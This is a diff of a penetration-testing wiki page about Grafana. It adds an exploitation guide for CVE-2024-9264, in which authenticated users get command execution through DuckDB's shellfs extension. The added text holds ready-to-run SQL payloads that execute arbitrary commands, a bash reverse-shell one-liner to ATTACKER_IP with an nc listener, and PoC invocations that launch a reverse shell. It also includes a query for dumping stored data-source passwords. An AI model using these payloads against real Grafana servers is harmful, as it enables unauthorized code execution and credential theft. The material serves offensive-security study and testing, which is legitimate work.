|
10 | 10 | - By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`** |
11 | 11 | - `select user,password,database from data_source;` |
12 | 12 |
|
13 | | -{{#include ../../banners/hacktricks-training.md}} |
| 13 | +--- |
| 14 | + |
| 15 | +## CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI |
| 16 | + |
| 17 | +Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files. |
| 18 | + |
| 19 | +Impact |
| 20 | +- Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads. |
| 21 | +- Preconditions commonly met in real deployments: |
| 22 | + - SQL Expressions enabled: `expressions.enabled = true` |
| 23 | + - `duckdb` binary present in PATH on the server |
| 24 | + |
| 25 | +Quick checks |
| 26 | +- In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm: |
| 27 | + - `expressions.enabled` is true |
| 28 | + - Optional: version (e.g., v11.0.0 vulnerable), datasource types, etc. |
| 29 | +- Shell on host: `which duckdb` must resolve for the exploit path below. |
| 30 | + |
| 31 | +Manual query pattern using DuckDB + shellfs |
| 32 | +- Abuse flow (2 queries): |
| 33 | + 1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe |
| 34 | + 2) Read back the temp file using `read_blob` |
14 | 35 |
|
| 36 | +Example SQL Expressions payloads that get passed to DuckDB: |
| 37 | +```sql |
| 38 | +-- 1) Prepare shellfs and run command |
| 39 | +SELECT 1; INSTALL shellfs FROM community; LOAD shellfs; |
| 40 | +SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |'); |
| 41 | +-- 2) Read the output back |
| 42 | +SELECT content FROM read_blob('/tmp/grafana_cmd_output'); |
| 43 | +``` |
| 44 | +Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files. |
15 | 45 |
|
| 46 | +One-liner reverse shell example |
| 47 | +```bash |
| 48 | +bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1" |
| 49 | +``` |
| 50 | +Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`. |
16 | 51 |
|
| 52 | +Automated PoC |
| 53 | +- Public PoC (built on cfreal’s ten framework): |
| 54 | + - [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264) |
| 55 | + |
| 56 | +Usage example |
| 57 | +```bash |
| 58 | +# Confirm execution context and UID |
| 59 | +python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target |
| 60 | +# Launch a reverse shell |
| 61 | +python3 CVE-2024-9264.py -u <USER> -p <PASS> \ |
| 62 | + -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \ |
| 63 | + http://grafana.target |
| 64 | +``` |
| 65 | +If output shows `uid=0(root)`, Grafana is running as root (common inside some containers). |
| 66 | + |
| 67 | + |
| 68 | +## References |
| 69 | + |
| 70 | +- [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) |
| 71 | +- [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) |
| 72 | +- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) |
| 73 | +- [cfreal/ten framework](https://github.com/cfreal/ten) |
| 74 | + |
| 75 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments